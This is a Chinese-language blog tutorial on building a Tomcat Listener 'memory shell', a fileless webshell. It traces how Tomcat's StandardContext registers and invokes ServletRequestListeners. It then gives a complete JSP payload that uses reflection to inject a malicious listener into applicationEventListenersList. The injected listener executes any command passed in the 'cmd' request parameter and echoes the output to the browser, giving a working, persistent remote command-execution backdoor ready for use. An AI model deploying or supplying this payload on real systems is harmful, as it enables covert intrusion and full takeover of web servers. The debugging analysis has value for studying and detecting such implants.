Tomcat-Listener内存马

Tomcat-Listener内存马

这篇文章记录下学习 Listener 内存马学习到的东西,思路跟 Filter 型内存马差不多,找一个相对通用的 Listener ,这里用的是 ServletRequestListener ,所有的 servlet 请求都会经过这个 Listener,接下来写一个例子调试分析 Listener 的注册过程和调用过程,相对来说比较简单!

创建工程

IDEA 打开创建一个 web 工程,导入如下依赖

<dependency>
    <groupId>junit</groupId>
    <artifactId>junit</artifactId>
    <version>4.11</version>
</dependency>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>servlet-api</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
</dependency>
<dependency>
    <groupId>javax.servlet.jsp</groupId>
    <artifactId>jsp-api</artifactId>
    <version>2.2</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.20</version>
    <scope>compile</scope>
</dependency>

编写 Servlet 程序

@WebServlet("/listener")
public class TestListener extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("tomcat-listener!!");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

编写 Listener 程序

@WebListener
public class ServletListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("ServletListener#requestInitialized is invoked!");
    }
}

因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来
image-20211231203007735
启动 Tomcat 中间件,访问 /listener 这个 Servlet 会发现调用了 ServletListener#requestInitialized 方法

调试分析

既然访问任何 Servlet 都会调用 ServletListener#requestInitialized 方法,那么只需反射注入 ServletListener 监听器即可,为了理解编写的 payload,下面分析监听器的注册和调用,在 ServletListener 类上下断点调试启动 Tomcat 中间件
image-20220103195857633
跟进到 StandardContext#listenerStart 方法,先获取监听器然后遍历监听器进行实例化
image-20220103200131114
监听器从 findApplicationListeners 方法返回,跟进看一下返回的是 applicationListeners 属性,其中包含我们编写的 ServletListener
image-20220103200306409
遍历并实例化完监听器之后把实例化对象加入到 eventListeners 中, 然后通过 setApplicationEventListeners 方法把 eventListeners 设置到 applicationEventListenersList
image-20220103200734308
跟进一下 setApplicationEventListeners 方法,可以知道最终实例化出来的监听器被存储在 applicationEventListenersList 属性中
image-20220103200835098
注册监听器就完成了,下面来看看是怎么调用注册的监听器的,在 requestInitialized 方法上下断点,调试启动 Tomcat 中间件
image-20220103201012485
跟进到 StandardContext#fireRequestInitEvent 方法,通过 getApplicationEventListeners 方法获取到前面注册的监听器,然后循环遍历调用监听器的 requestInitialized 方法
image-20220103201403553

构造内存马进行注入

通过上面的分析可以知道,最后遍历调用的是 StandardContext.applicationEventListenersList 属性,所以内存马构造中需要获取到 StandardContext 类,然后获取其 applicationEventListenersList 属性,最后注入我们构造的恶意监听器到 applicationEventListenersList 属性里,构造如下

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    class ServletListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

        }

        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {
            try {
                String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
                //获取到 Response 对象,用于命令回显输出
                org.apache.catalina.connector.RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = (Response) request.getResponse();
				
                //命令执行并通过 Response 对象进行输出结果到浏览器中
                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i = inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }

        }
    }
%>


<%
	//获取到 StandardContext 对象的 applicationEventListenersList 属性,最后把恶意构造的监听器注入到 applicationEventListenersList 属性中
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
    Object[] applicationEventListeners = standardContext.getApplicationEventListeners();
    List<Object> objects = Arrays.asList(applicationEventListeners);
    ArrayList arrayList = new ArrayList(objects);
    arrayList.add(new ServletListener());
    standardContext.setApplicationEventListeners(arrayList.toArray());
    response.getWriter().write("Inject Success by listener!");
%>

参考

https://www.yuque.com/tianxiadamutou/zcfd4v/na64yv#7d994138

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值